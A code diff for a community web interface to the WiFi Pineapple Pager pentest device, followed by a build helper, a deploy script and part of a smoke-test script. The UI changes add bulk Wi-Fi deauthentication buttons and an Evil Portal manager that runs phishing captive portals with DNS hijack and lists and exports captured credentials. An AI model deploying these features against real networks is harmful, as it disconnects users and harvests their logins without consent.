h('span', { text: run ? ('Capturing on ' + (st.iface || capIface)) : 'Not capturing' }), h('span', { text: run ? ('Capturing on ' + (st.iface || capIface)) : 'Not capturing' }),
h('div', {}, (function () { h('div', {}, (function () {
@@ -1361,6 +1424,24 @@ function deauthPanel(ssidRef) {
const apSel = h('select', {}); const apSel = h('select', {});
const clTable = h('div', {}); const clTable = h('div', {});
let lastLookup = ''; let lastLookup = '';
let lastClients = [];
const deauthAllBtn = btn('Deauth All', () => {
const parts = apSel.value.split('|');
if (!lastClients.length) { App.toast('No devices to deauth — run Find first', 'error'); return; }
if (!parts[0]) { App.toast('Pick an AP first', 'error'); return; }
if (!window.confirm('Deauthenticate ALL ' + lastClients.length +
' listed device(s) against ' + parts[0] + '?\n\nConfirm this target is IN SCOPE for your engagement.')) return;
runAction(deauthAllBtn, () => PagerAPI.post('/api/attacks/deauth/bulk', {
targets: lastClients.map((mac) => ({
bssid: parts[0], client: mac,
channel: parseInt(parts[1], 10) || null
}))
}).then((r) => {
const d = r.data || {};
App.toast('Deauth frames sent to ' + (d.sent != null ? d.sent : '?') +
'/' + ((d.results || []).length) + ' devices');
}), 'Sending…');
}, 'danger');
function lookup(q) { function lookup(q) {
if (!q || q === lastLookup) return Promise.resolve(); if (!q || q === lastLookup) return Promise.resolve();
lastLookup = q; lastLookup = q;
@@ -1374,6 +1455,7 @@ function deauthPanel(ssidRef) {
if (!(d.aps || []).length) apSel.appendChild(h('option', { value: '|1', text: 'No APs found — check SSID' })); if (!(d.aps || []).length) apSel.appendChild(h('option', { value: '|1', text: 'No APs found — check SSID' }));
clTable.innerHTML = ''; clTable.innerHTML = '';
const cl = (d.clients || []).slice(0, 30); const cl = (d.clients || []).slice(0, 30);
lastClients = cl.map((c) => c.mac || c.client_mac || '').filter(Boolean);
if (!cl.length) { if (!cl.length) {
clTable.appendChild(h('div', { class: 'empty', text: 'No devices in recon yet.' })); clTable.appendChild(h('div', { class: 'empty', text: 'No devices in recon yet.' }));
return; return;
@@ -1408,8 +1490,10 @@ function deauthPanel(ssidRef) {
})()))); })())));
body.appendChild(apSel); body.appendChild(apSel);
body.appendChild(clTable); body.appendChild(clTable);
body.appendChild(h('div', { class: 'muted', style: 'font-size:12px;margin-top:4px', body.appendChild(h('div', { class: 'row', style: 'margin-top:6px' },
text: 'Only deauth targets you are authorized to test.' })); h('div', {}, deauthAllBtn),
h('div', { class: 'muted', style: 'font-size:12px;align-self:center',
text: 'Only deauth targets you are authorized to test.' })));
if (ssidRef) { if (ssidRef) {
ssidRef.tick = () => { ssidRef.tick = () => {
const liveSsid = ssidRef.current && ssidRef.current.trim(); const liveSsid = ssidRef.current && ssidRef.current.trim();
@@ -2090,6 +2174,26 @@ views.recon = (root) => {
.then(() => App.toast('Examining channel ' + ap.channel + ' — check the Pager screen')), 'Examining…'); .then(() => App.toast('Examining channel ' + ap.channel + ' — check the Pager screen')), 'Examining…');
}); });
actions.appendChild(exC); actions.appendChild(exC);
const focusClients = (ap.clients || []).filter((client) => client && client.mac);
if (focusClients.length && ap.bssid) {
const deauthAll = h('button', { class: 'btn danger recon-focus-action-button',
text: 'Deauth All Clients (' + focusClients.length + ')' });
deauthAll.addEventListener('click', () => {
const ssidLabel = ap.ssid || 'hidden network';
if (!window.confirm('Deauthenticate ' + focusClients.length + ' client(s) of "' +
ssidLabel + '"?\n\nConfirm this target is IN SCOPE for your engagement.')) return;
runAction(deauthAll, () => PagerAPI.post('/api/attacks/deauth/bulk', {
targets: focusClients.map((c) => ({
bssid: ap.bssid, client: c.mac, channel: ap.channel == null ? null : ap.channel
}))
}).then((r) => {
const d = r.data || {};
App.toast('Deauth frames sent to ' + (d.sent != null ? d.sent : '?') +
'/' + ((d.results || []).length) + ' clients');
}), 'Sending…');
});
actions.appendChild(deauthAll);
}
const details = h('div', { class: 'recon-focus-body' }); const details = h('div', { class: 'recon-focus-body' });
focusSidebar.appendChild(details); focusSidebar.appendChild(details);
@@ -3807,6 +3911,43 @@ views.settings = (root) => {
overlay.appendChild(restoreBtn); overlay.appendChild(restoreBtn);
loadOverlay(); loadOverlay();
const profiles = settingsCard(box, 'Reliability Profiles',
'Snapshots of the PineAP, wireless, and network UCI config. Save one before risky changes; restoring rolls the config back and reloads the radios.');
const profBody = h('div', { class: 'settings-table-wrap', text: 'Loading…' });
profiles.appendChild(profBody);
function loadProfiles() {
PagerAPI.get('/api/reliability/profiles').then((r) => {
const names = (r.data || {}).profiles || [];
profBody.innerHTML = '';
if (!names.length) {
profBody.appendChild(h('div', { class: 'empty', text: 'No saved profiles yet.' }));
return;
}
profBody.appendChild(table([
{ label: 'Profile', key: 'name' },
{ label: '', render: (row) => {
const doRestore = btn('Restore', () => runAction(doRestore,
() => PagerAPI.post('/api/reliability/restore', { name: row.name })
.then(() => App.toast('Profile restored; radios reloaded')), 'Restoring…'), 'ghost');
return doRestore;
} }
], names.map((name) => ({ name }))));
}).catch(() => { profBody.textContent = 'Unable to load profiles.'; });
}
const profName = h('input', { placeholder: 'e.g. pre-evilwpa', maxlength: '64',
autocomplete: 'off' });
const profSave = btn('Save Profile', () => {
const name = profName.value.trim();
if (!name) { App.toast('Profile name is required', 'error'); return; }
return runAction(profSave, () => PagerAPI.post('/api/reliability/profile', { name })
.then(() => { profName.value = ''; App.toast('Config profile saved'); loadProfiles(); }), 'Saving…');
});
profiles.appendChild(h('div', { class: 'settings-form-grid' },
h('label', {}, 'Profile Name', profName)));
profiles.appendChild(h('div', { class: 'settings-actions' }, profSave,
btn('Refresh', () => { loadProfiles(); }, 'ghost')));
loadProfiles();
settingsCard(box, 'Button Script', 'The Mark VII button script has no safe Pager equivalent. Pager buttons remain managed by the native input and payload-launcher system.'); settingsCard(box, 'Button Script', 'The Mark VII button script has no safe Pager equivalent. Pager buttons remain managed by the native input and payload-launcher system.');
const resources = settingsCard(box, 'Resources'); const resources = settingsCard(box, 'Resources');
@@ -3985,3 +4126,175 @@ views.settings_help = (root) => {
license.appendChild(h('p', { class: 'muted', text: 'This community WebUI runs alongside the licensed WiFi Pineapple Pager firmware. Third-party component notices remain available in their distributed source files.' })); license.appendChild(h('p', { class: 'muted', text: 'This community WebUI runs alongside the licensed WiFi Pineapple Pager firmware. Third-party component notices remain available in their distributed source files.' }));
return { destroy: () => {} }; return { destroy: () => {} };
}; };
// ---------------------------------------------------------------------------
// Evil Portal — Hak5 EvilPortalNano-compatible captive portal manager.
// ---------------------------------------------------------------------------
views.pineap_evilportal = (root) => {
const box = pineapShell(root, '#/pineap/evilportal');
const portalRoot = h('div', { style: 'display:flex;flex-direction:column;gap:16px' });
box.appendChild(portalRoot);
function portalCard(title) {
const card = h('div', { class: 'pineap-title-card' });
card.appendChild(h('div', { class: 'pineap-card-title' }, title));
portalRoot.appendChild(card);
return card;
}
// ---- Active portal status ----
const statusCard = portalCard('Active Portal');
const statusBody = h('div', { style: 'font-size:13px;line-height:1.9' });
statusCard.appendChild(statusBody);
let activeName = null;
// ---- Templates ----
const tplCard = portalCard('Portal Templates');
const tplBody = h('div', { style: 'font-size:13px' });
tplCard.appendChild(tplBody);
// ---- Import ----
const importCard = portalCard('Import Portal');
const importBody = h('div', { style: 'font-size:13px' });
importCard.appendChild(importBody);
const nameIn = h('input', { placeholder: 'Portal name (optional override)' });
const fileIn = h('input', { type: 'file', accept: '.zip,application/zip' });
importBody.appendChild(h('div', { class: 'row' }, nameIn,
h('div', {}, fileIn)));
importBody.appendChild(h('div', { class: 'muted', style: 'font-size:12px;margin-top:4px',
text: 'Upload a zip of a Hak5 Evil Portal (index.php + assets). Compatible with kleo/evilportals and other EvilPortalNano portals.' }));
function refresh() {
return PagerAPI.get('/api/portals').then((r) => {
const d = r.data || {};
activeName = d.active || null;
renderStatus();
renderTemplates(d.portals || []);
}).catch(() => App.toast('Failed to load portals', 'error'));
}
function renderStatus() {
statusBody.innerHTML = '';
const on = !!activeName;
statusBody.appendChild(h('div', { class: 'row' },
h('div', { style: 'min-width:130px', text: 'Status' }),
badge(on)));
statusBody.appendChild(h('div', { class: 'row' },
h('div', { style: 'min-width:130px', text: 'Portal' }),
h('span', { text: on ? activeName : '—' })));
if (on) {
statusBody.appendChild(h('div', { class: 'row' },
h('div', { style: 'min-width:130px', text: '' }),
h('span', { class: 'muted', style: 'font-size:12px',
text: 'Serving on http://<device-ip>/ with DNS hijack (all hostnames resolve to the Pager).' })));
statusBody.appendChild(h('div', { class: 'row' },
h('div', { style: 'min-width:130px', text: '' }),
h('div', {}, btn('Stop Portal', () => {
runAction(null, () => PagerAPI.post('/api/portals/' + encodeURIComponent(activeName) + '/deactivate', {})
.then(refresh), 'Stopping…');
}, 'danger'))));
}
}
function renderTemplates(portals) {
tplBody.innerHTML = '';
if (!portals.length) {
tplBody.appendChild(h('div', { class: 'empty',
text: 'No portal templates imported. Import a zip below to get started.' }));
return;
}
tplBody.appendChild(table(
[{ key: 'name', label: 'Name' }, { key: 'size', label: 'Size' },
{ key: 'captures', label: 'Captures' }, { key: '_actions', label: '' }],
portals.map((p) => ({
name: p.name, size: fmtBytes(p.bytes), captures: String(p.captures || 0),
_actions: (function () {
const wrapRow = h('div', { style: 'display:flex;gap:6px' });
if (p.name === activeName) {
wrapRow.appendChild(btn('Stop', () => {
runAction(null, () => PagerAPI.post('/api/portals/' + encodeURIComponent(p.name) + '/deactivate', {})
.then(refresh), 'Stopping…');
}, 'danger'));
} else {
wrapRow.appendChild(btn('Activate', () => {
runAction(null, () => PagerAPI.post('/api/portals/' + encodeURIComponent(p.name) + '/activate', {})
.then(() => App.toast('Portal active — DNS hijack on'))
.then(refresh), 'Activating…');
}, 'danger'));
}
wrapRow.appendChild(btn('Download', () => {
window.open('/api/portals/' + encodeURIComponent(p.name) + '/download', '_blank');
}, 'ghost'));
wrapRow.appendChild(btn('Delete', () => {
if (!window.confirm('Delete portal "' + p.name + '"?')) return;
runAction(null, () => PagerAPI.del('/api/portals/' + encodeURIComponent(p.name))
.then(refresh), 'Deleting…');
}, 'danger'));
return wrapRow;
})()
}))));
}
fileIn.addEventListener('change', () => {
const f = fileIn.files && fileIn.files[0];
fileIn.value = '';
if (!f) return;
if (f.size > 10 * 1024 * 1024) { App.toast('Zip too large (max 10 MB)', 'error'); return; }
const fr = new FileReader();
fr.onload = () => {
const b64 = String(fr.result).split(',')[1] || '';
runAction(null, () => PagerAPI.post('/api/portals/import', {
name: nameIn.value.trim() || undefined, data: b64
}).then((r) => {
App.toast('Imported portal "' + ((r.data || {}).name || '?') + '"');
nameIn.value = '';
return refresh();
}), 'Importing…');
};
fr.readAsDataURL(f);
});
// ---- Captured credentials ----
const capCard = portalCard('Captured Credentials');
const capBody = h('div', { style: 'font-size:13px' });
capCard.appendChild(capBody);
function loadCaptures() {
return PagerAPI.get('/api/portals/captures?limit=200').then((r) => {
const d = r.data || {};
const caps = d.captures || [];
capBody.innerHTML = '';
capBody.appendChild(h('div', { class: 'row' },
h('span', { text: caps.length ? (caps.length + ' capture(s)' +
(d.total > caps.length ? ' (of ' + d.total + ')' : '')) : 'No credentials captured yet.' }),
h('div', {},
btn('Refresh', () => { loadCaptures(); }, 'ghost'),
caps.length ? btn('Clear All', () => {
if (!window.confirm('Delete ALL captured credentials?')) return;
runAction(null, () => PagerAPI.del('/api/portals/captures')
.then(loadCaptures), 'Clearing…');
}, 'danger') : null,
caps.length ? h('a', { class: 'btn ghost', href: '#', onclick: (e) => {
e.preventDefault();
downloadText('evil-portal-captures.json', JSON.stringify(caps, null, 2));
}, text: 'Export JSON', style: 'text-decoration:none' }) : null)));
if (!caps.length) return;
capBody.appendChild(table(
[{ key: 'when', label: 'When' }, { key: 'portal', label: 'Portal' },
{ key: 'ident', label: 'Client' }, { key: 'creds', label: 'Fields' }],
caps.map((c) => ({
when: c.time || fmtTime(c.ts),
portal: c.portal || '—',
ident: [c.mac, c.ip, c.hostname].filter(Boolean).join(' · ') || '—',
creds: Object.keys(c.fields || {}).map((k) =>
k + ': ' + String(c.fields[k]).slice(0, 40)).join(' | ') || '(no fields)'
}))));
}).catch(() => {});
}
refresh();
loadCaptures();
const iv = setInterval(loadCaptures, 10000);
return { destroy: () => clearInterval(iv) };
};
+124
View File
@@ -0,0 +1,124 @@
#!/usr/bin/env python3
"""Build helpers shared by Mark VIII deploy scripts.
stamp_version() stamps release metadata into BUILD COPIES ONLY: callers
always pass a staging/build directory, never the source tree, so the repo
stays clean while every deployed artifact reports the same VERSION.
"""
import json
import os
import re
import sys
VERSION_RE = re.compile(r'^[0-9][A-Za-z0-9._-]{0,31}$')
SERVER_VERSION_LINE = "SERVER_VERSION = '%s'\n"
def _stamp_manifest(path, version):
try:
with open(path, encoding='utf-8') as f:
data = json.load(f)
except (OSError, ValueError):
return False
if not isinstance(data, dict):
return False
data['version'] = version
with open(path, 'w', encoding='ascii') as f:
json.dump(data, f, indent=2)
f.write('\n')
return True
def _stamp_payload_sh(path, version):
try:
with open(path, encoding='utf-8') as f:
lines = f.readlines()
except OSError:
return False
out = []
replaced = False
for line in lines:
m = None if replaced \
else re.match(r'^(\s*#\s*[Vv]ersion:).*$', line)
if m:
out.append(m.group(1) + ' ' + version + '\n')
replaced = True
else:
out.append(line)
if not replaced:
insert = 1 if lines and lines[0].startswith('#!') else 0
out.insert(insert, '# Version: %s\n' % version)
with open(path, 'w', encoding='utf-8') as f:
f.writelines(out)
return True
def _server_insert_index(lines):
"""Index just past any shebang/comments/blanks and module docstring."""
i = 0
n = len(lines)
if i < n and lines[i].startswith('#!'):
i += 1
while i < n and (lines[i].strip().startswith('#')
or not lines[i].strip()):
i += 1
if i < n:
stripped = lines[i].lstrip()
quote = stripped[:3]
if quote in ('"""', "'''"):
closed_here = quote in stripped[3:]
i += 1
if not closed_here:
while i < n and quote not in lines[i]:
i += 1
i += 1
return min(i, len(lines))
def _stamp_server_py(path, version):
try:
with open(path, encoding='utf-8') as f:
lines = f.readlines()
except OSError:
return False
lines = [l for l in lines if not l.startswith('SERVER_VERSION')]
idx = _server_insert_index(lines)
lines.insert(idx, SERVER_VERSION_LINE % version)
with open(path, 'w', encoding='utf-8') as f:
f.writelines(lines)
return True
def stamp_version(build_dir, version):
"""Stamp <version> into build copies found under build_dir.
Updates every ``_hak5_manifest.json`` (version field), ``payload.sh``
(header Version line) and ``server.py`` (injected SERVER_VERSION
constant near the top). Idempotent: re-running never duplicates the
injected constant or header. Returns the list of stamped paths."""
if not VERSION_RE.match(str(version)):
raise ValueError('invalid version string: %r' % (version,))
stamped = []
for root, dirs, files in os.walk(build_dir):
for fname in ('_hak5_manifest.json', 'payload.sh', 'server.py'):
if fname in files:
path = os.path.join(root, fname)
if fname == '_hak5_manifest.json':
ok = _stamp_manifest(path, version)
elif fname == 'payload.sh':
ok = _stamp_payload_sh(path, version)
else:
ok = _stamp_server_py(path, version)
if ok:
stamped.append(path)
return sorted(stamped)
if __name__ == '__main__':
if len(sys.argv) != 3:
print('usage: build_common.py <build_dir> <version>',
file=sys.stderr)
sys.exit(2)
for path in stamp_version(sys.argv[1], sys.argv[2]):
print('stamped: %s' % path)
+112 -33
View File
@@ -21,6 +21,11 @@ Options:
--no-portal-refresh Skip the best-effort portal refresh --no-portal-refresh Skip the best-effort portal refresh
-h, --help Show this help -h, --help Show this help
Deploys to /mmc/mk8/releases/<ts>/ with an atomically repointed 'current'
symlink, mirrors the payload into the legacy /root/payloads location the
init scripts run from, verifies sha256 of the upload, and polls the local
API after start; on failure it rolls the symlink + legacy dir back.
If neither --password nor --ssh-key is supplied, ssh/scp prompt normally. If neither --password nor --ssh-key is supplied, ssh/scp prompt normally.
EOF EOF
} }
@@ -61,6 +66,17 @@ STAGE="$OUT_DIR/stage"
printf 'Payload directory not found: %s\n' "$PAYLOAD_DIR" >&2 printf 'Payload directory not found: %s\n' "$PAYLOAD_DIR" >&2
exit 1 exit 1
} }
VERSION_FILE="$ROOT/VERSION"
[[ -f "$VERSION_FILE" ]] || {
printf 'VERSION file not found: %s\n' "$VERSION_FILE" >&2
exit 1
}
VERSION="$(tr -d '[:space:]' < "$VERSION_FILE")"
[[ -n "$VERSION" ]] || {
printf 'VERSION file is empty.\n' >&2
exit 1
}
printf 'Deploying Mark VIII version %s\n' "$VERSION"
mkdir -p "$OUT_DIR" mkdir -p "$OUT_DIR"
rm -rf "$STAGE" rm -rf "$STAGE"
@@ -68,6 +84,10 @@ mkdir -p "$STAGE/user/$PAYLOAD_CATEGORY"
cp -R "$PAYLOAD_DIR" "$STAGE/user/$PAYLOAD_CATEGORY/$PAYLOAD_KEY" cp -R "$PAYLOAD_DIR" "$STAGE/user/$PAYLOAD_CATEGORY/$PAYLOAD_KEY"
find "$STAGE" \( -type d -name __pycache__ -o -type f -name '*.pyc' \) -prune -exec rm -rf {} + find "$STAGE" \( -type d -name __pycache__ -o -type f -name '*.pyc' \) -prune -exec rm -rf {} +
# Stamp build copies only (never the source tree): payload.sh header,
# staged server.py SERVER_VERSION constant; manifest is stamped below.
python3 "$ROOT/scripts/build_common.py" "$STAGE" "$VERSION"
B64_KEY="$(python3 -c 'import base64; print(base64.urlsafe_b64encode(b"pager-webui").decode().rstrip("="))')" B64_KEY="$(python3 -c 'import base64; print(base64.urlsafe_b64encode(b"pager-webui").decode().rstrip("="))')"
ZIP_NAME="payload-$B64_KEY.zip" ZIP_NAME="payload-$B64_KEY.zip"
ZIP_PATH="$OUT_DIR/$ZIP_NAME" ZIP_PATH="$OUT_DIR/$ZIP_NAME"
@@ -94,7 +114,9 @@ with open(destination, 'w', encoding='ascii') as handle:
json.dump(manifest, handle, indent=2) json.dump(manifest, handle, indent=2)
handle.write('\n') handle.write('\n')
PY PY
printf 'Built: %s\n' "$ZIP_PATH" # Single-source version: stamp the generated manifest copy too.
python3 "$ROOT/scripts/build_common.py" "$MANIFEST_PATH" "$VERSION" >/dev/null
printf 'Built: %s (sha256 %s)\n' "$ZIP_PATH" "$HASH"
TARGET="$PAGER_USER@$PAGER_HOST" TARGET="$PAGER_USER@$PAGER_HOST"
SSH_OPTS=(-o StrictHostKeyChecking=accept-new) SSH_OPTS=(-o StrictHostKeyChecking=accept-new)
@@ -166,46 +188,103 @@ echo PYTHON_OK'
install_python3 install_python3
run_scp "$ZIP_PATH" "$MANIFEST_PATH" "$TARGET:/tmp/" run_ssh "$TARGET" 'mkdir -p /tmp/mk8-stage && rm -rf /tmp/mk8-stage/*'
run_scp "$ZIP_PATH" "$MANIFEST_PATH" "$TARGET:/tmp/mk8-stage/"
REMOTE_PAYLOAD_DIR="user/$PAYLOAD_CATEGORY/$PAYLOAD_KEY" REMOTE_PAYLOAD_DIR="user/$PAYLOAD_CATEGORY/$PAYLOAD_KEY"
LEGACY_PAYLOAD_DIR="user/general/$PAYLOAD_KEY" RELEASE_TS="$(date +%Y%m%d-%H%M%S)"
REMOTE_COMMAND="set -e REMOTE_COMMAND="set -e
cd /root/payloads STAGE_DIR='/tmp/mk8-stage'
stage='.pager-webui.deploy.\$\$' ZIP="\$STAGE_DIR/$ZIP_NAME"
backup='.pager-webui.backup.\$\$' RELDIR='/mmc/mk8/releases/$RELEASE_TS'
trap 'rm -rf \"\$stage\" \"\$backup\"' EXIT PAYDIR='$REMOTE_PAYLOAD_DIR'
mkdir -p \"\$stage\" LIVE=\"/root/payloads/\$PAYDIR\"
cd \"\$stage\" BACKUP=\"/root/payloads/.pager-webui.backup.\$\$\"
unzip -q '/tmp/$ZIP_NAME' CURRENT='/mmc/mk8/releases/current'
new=\"\$PWD/$REMOTE_PAYLOAD_DIR\" PREV=\$(readlink \$CURRENT 2>/dev/null || true)
[ -f \"\$new/server.py\" ] && [ -f \"\$new/payload.sh\" ] && [ -d \"\$new/www\" ] cleanup() { rm -rf \"\$STAGE_DIR\"; }
cp /tmp/_hak5_manifest.json \"\$new/_hak5_manifest.json\" trap cleanup EXIT
chmod +x \"\$new/payload.sh\" \"\$new/pagerwebui.init\"
chmod -R 755 \"\$new/www\" # Upload integrity gate: remote sha256 must match the local build hash.
cd /root/payloads GOT=\$(sha256sum \"\$ZIP\" | awk '{print \$1}')
if [ -d '$REMOTE_PAYLOAD_DIR' ]; then [ \"\$GOT\" = '$HASH' ] || { echo 'sha256 mismatch on uploaded zip' >&2; exit 1; }
mkdir -p \"\$(dirname \"\$backup\")\" [ -f \"\$STAGE_DIR/_hak5_manifest.json\" ] || { echo 'manifest missing' >&2; exit 1; }
mv '$REMOTE_PAYLOAD_DIR' \"\$backup\"
fi /etc/init.d/pagerwebui stop >/dev/null 2>&1 || true
if mv \"\$new\" '$REMOTE_PAYLOAD_DIR'; then mkdir -p \"\$RELDIR\"
rm -rf \"\$backup\" '$LEGACY_PAYLOAD_DIR' unzip -q \"\$ZIP\" -d \"\$RELDIR\"
else NEW=\"\$RELDIR/\$PAYDIR\"
[ ! -d \"\$backup\" ] || mv \"\$backup\" '$REMOTE_PAYLOAD_DIR' [ -f \"\$NEW/server.py\" ] && [ -f \"\$NEW/payload.sh\" ] && [ -d \"\$NEW/www\" ] || {
echo 'release payload incomplete' >&2
rm -rf \"\$RELDIR\"
exit 1
}
cp \"\$STAGE_DIR/_hak5_manifest.json\" \"\$NEW/_hak5_manifest.json\"
chmod +x \"\$NEW/payload.sh\" \"\$NEW/pagerwebui.init\"
chmod -R 755 \"\$NEW/www\"
ln -sfn \"\$RELDIR\" \"\$CURRENT\"
# Mirror into the legacy /root/payloads path the init scripts execute.
rollback_install() {
rm -rf \"\$LIVE\"
[ ! -d \"\$BACKUP\" ] || mv \"\$BACKUP\" \"\$LIVE\"
if [ -n \"\$PREV\" ]; then
ln -sfn \"\$PREV\" \"\$CURRENT\"
else
rm -f \"\$CURRENT\"
fi
}
if [ -d \"\$LIVE\" ]; then mv \"\$LIVE\" \"\$BACKUP\"; fi
if ! mkdir -p \"\$LIVE\" || ! cp -a \"\$NEW/.\" \"\$LIVE/\"; then
rollback_install
exit 1 exit 1
fi fi
rm -f '/tmp/$ZIP_NAME' /tmp/_hak5_manifest.json cp -f \"\$LIVE/pagerwebui.init\" /etc/init.d/pagerwebui
cp '$REMOTE_PAYLOAD_DIR/pagerwebui.init' /etc/init.d/pagerwebui
chmod +x /etc/init.d/pagerwebui chmod +x /etc/init.d/pagerwebui
/etc/init.d/pagerwebui enable /etc/init.d/pagerwebui enable
if /etc/init.d/pagerwebui running >/dev/null 2>&1; then cp -f \"\$LIVE/mk8-guard.init\" /etc/init.d/mk8-guard
/etc/init.d/pagerwebui restart chmod 755 /etc/init.d/mk8-guard
else /etc/init.d/mk8-guard enable
/etc/init.d/pagerwebui start
# Post-deploy verification: API must answer within ~60s (deadline-capped so
# hung connections cannot stretch the window) or we roll back.
T0=\$(date +%s)
DEADLINE=\$((\$T0 + 60))
HEALTH_OK=''
while [ \$(date +%s) -lt \$DEADLINE ]; do
if curl -fsS -m 3 http://127.0.0.1:8080/ >/dev/null 2>&1; then
HEALTH_OK=1
break
fi
sleep 1
done
if [ -z \"\$HEALTH_OK\" ]; then
echo 'post-deploy health check failed; rolling back' >&2
/etc/init.d/pagerwebui stop >/dev/null 2>&1 || true
rollback_install
rm -rf \"\$RELDIR\"
/etc/init.d/pagerwebui start /etc/init.d/pagerwebui start
exit 1
fi
rm -rf \"\$BACKUP\"
# Prune old releases; keep the newest 3 including current.
ALL=\$(ls -1d /mmc/mk8/releases/2* 2>/dev/null | sort)
TOTAL=\$(printf '%s\\n' \"\$ALL\" | grep -c .)
KEEP_FROM=\$((TOTAL - 2))
if [ \"\$KEEP_FROM\" -gt 1 ]; then
printf '%s\\n' \"\$ALL\" | awk -v kf=\"\$KEEP_FROM\" 'NR < kf' | while read r; do
CUR=\$(readlink \$CURRENT 2>/dev/null || true)
[ \"\$r\" = \"\$CUR\" ] || rm -rf \"\$r\"
done
fi
echo RELEASE_OK@\"\$RELDIR\""
if run_ssh "$TARGET" "$REMOTE_COMMAND"; then
printf 'Release active: /mmc/mk8/releases/%s\n' "$RELEASE_TS"
else
printf 'Deployment failed; previous release restored on the pager.\n' >&2
exit 1
fi fi
echo EXTRACT_OK"
run_ssh "$TARGET" "$REMOTE_COMMAND"
printf 'Installed to /root/payloads/%s/\n' "$REMOTE_PAYLOAD_DIR"
if $PORTAL_REFRESH && [[ -n "$PASSWORD" ]]; then if $PORTAL_REFRESH && [[ -n "$PASSWORD" ]]; then
PASSWORD_B64="$(printf '%s' "$PASSWORD" | base64)" PASSWORD_B64="$(printf '%s' "$PASSWORD" | base64)"
@@ -232,4 +311,4 @@ elif $PORTAL_REFRESH; then
printf 'Skipping portal refresh without --password; payload installation is complete.\n' printf 'Skipping portal refresh without --password; payload installation is complete.\n'
fi fi
printf 'Deploy complete. Browse http://%s:8080/\n' "$PAGER_HOST" printf 'Deploy complete (v%s). Browse http://%s:8080/\n' "$VERSION" "$PAGER_HOST"
+514
View File
@@ -0,0 +1,514 @@
#!/bin/sh
# Mark VIII on-device reliability smoke suite (POSIX sh, BusyBox-safe).
#
# Usage: smoke.sh [--write]
#
# Read-only checks (default):
# 1. Web UI answers GET /
# 2. mk8-guard installed and enabled (S49 boot symlink)
# 3. Safe-UCI invariants + SSID pool size <= 20
# 4. Event journal: last line of /mmc/mk8/events.log parses as JSON
# with a 'kind' field (via python3)
# 5. Monitor interfaces wlan0mon + wlan1mon exist
# 6. Deployed server.py SERVER_VERSION == payload.sh Version header
# 7. Authenticated API path: POST /api/login -> GET /api/health
# (requires webui password in $PASS; skipped when unset)
#
# Destructive drills (--write only; values auto-restored):
# 8. Bad-value drill: feeds --reconcile a wrong bands value and an
# oversized SSID pool (25 dummy entries), verifies both are
# repaired, restores originals.
# 9. RF role drill (only when SMOKE_UPLINK_SSID is set): switches
# radio1 to the uplink role against the named lab AP, expects an
# association, then back to attack with hopping resumed.
# 10. Rollback watchdog drill: runs mk8-watchdog.sh against a config
# profile while the web UI is up (expects clean promote exit),
# then STOPS the pagerwebui service and expects the watchdog to
# roll back and journal a 'rollback' event, then restarts webui.
# Preceded by a 5-second warning countdown; brief web outage.
# Drills run only when every read-only check has passed.
#
# Environment:
# PASS webui password used for POST /api/login (check 7).
# SMOKE_UPLINK_SSID lab AP SSID; enables the --write RF role drill.
# SMOKE_UPLINK_PSK optional PSK for the lab AP.
#
# Exit status: 0 when every executed check passes, 1 otherwise.
set -u
BASE=/mmc/mk8
REL="$BASE/releases/current"
# Release layout: <release>/user/<category>/<key>/... — resolve the payload dir.
REL_PAY="$(find "$REL/user" -maxdepth 3 -name server.py 2>/dev/null | head -n 1)"
REL_PAY="${REL_PAY%/server.py}"
LEGACY=/root/payloads/user/remote_access/pager-webui
URL=http://127.0.0.1:8080
GUARD_INIT=/etc/init.d/mk8-guard
GUARD_LINK=/etc/rc.d/S49mk8-guard
WEBUI_INIT=/etc/init.d/pagerwebui
JAR=/tmp/mk8-smoke-cookies.$$
WRITE=0
PASS="${PASS:-}"
UPLINK_SSID="${SMOKE_UPLINK_SSID:-}"
UPLINK_PSK="${SMOKE_UPLINK_PSK:-}"
WEB_STOPPED=0
FAILED=0
WAIT_RC=0
wp=""
PY="$(command -v python3 2>/dev/null || true)"
[ -n "$PY" ] || PY=/usr/bin/python3
[ -x "$PY" ] || PY=""
usage() {
printf 'Usage: smoke.sh [--write]\n'
printf '\n'
printf 'Read-only checks run by default. --write adds destructive drills\n'
printf '(run only if every read-only check passed) that briefly toggle\n'
printf 'UCI config and stop/start the pagerwebui service; original values\n'
printf 'are restored automatically.\n'
printf 'Set PASS=<webui password> to enable the authenticated API check.\n'
printf 'Set SMOKE_UPLINK_SSID=[<PSK via SMOKE_UPLINK_PSK>] to enable the\n'
printf '--write RF role drill against a lab AP.\n'
}
on_exit() {
rm -f "$JAR" 2>/dev/null
if [ -n "$wp" ]; then
kill "$wp" 2>/dev/null
fi
if [ "$WEB_STOPPED" = "1" ]; then
info 'restoring pagerwebui service'
"$WEBUI_INIT" start >/dev/null 2>&1
fi
}
pass() { printf 'PASS %s\n' "$1"; }
fail() { printf 'FAIL %s\n' "$1"; FAILED=$((FAILED + 1)); }
skip() { printf 'SKIP %s\n' "$1"; }
info() { printf ' %s\n' "$1"; }
uci_get() { uci -q get "$1" 2>/dev/null | tr -d '\r'; }
rollback_count() {
if [ -z "$PY" ] || [ ! -f "$BASE/events.log" ]; then
printf 0
return
fi
tail -n 400 "$BASE/events.log" 2>/dev/null | "$PY" -c '
import json, sys
n = 0
for line in sys.stdin:
try:
d = json.loads(line)
except Exception:
continue
if isinstance(d, dict) and d.get("kind") == "rollback":
n += 1
print(n)' 2>/dev/null || printf 0
}
# wait_exit <pid> <seconds>: poll for background job exit; sets WAIT_RC
# and returns 0 once reaped, 1 on timeout (job left running).
wait_exit() {
_pid="$1"; _t="$2"; _n=0
while [ "$_n" -lt "$_t" ]; do
if ! kill -0 "$_pid" 2>/dev/null; then
wait "$_pid"
WAIT_RC=$?
return 0
fi
sleep 1
_n=$((_n + 1))
done
return 1
}
kill_bg() {
kill "$1" 2>/dev/null
sleep 1
kill -9 "$1" 2>/dev/null
wait "$1" 2>/dev/null
}
check_web_up() {
if curl -fsS -m 5 "$URL/" >/dev/null 2>&1; then
pass 'web: GET / answered'
else
fail 'web: GET / failed'
fi
}
check_guard() {
if [ -x "$GUARD_INIT" ] && [ -e "$GUARD_LINK" ]; then
pass 'guard: init script executable and enabled (S49)'
else
fail "guard: missing executable/init or S49 link ($GUARD_INIT $GUARD_LINK)"
fi
}
check_invariants() {
inv_fail=0
while IFS= read -r kv; do
[ -n "$kv" ] || continue
key="${kv%%=*}"
want="${kv#*=}"
got="$(uci_get "$key")"
if [ "$got" != "$want" ]; then
inv_fail=$((inv_fail + 1))
info "uci $key=$got (want $want)"
fi
done <<EOF
pineapd.@ssidpool[0].disable=1
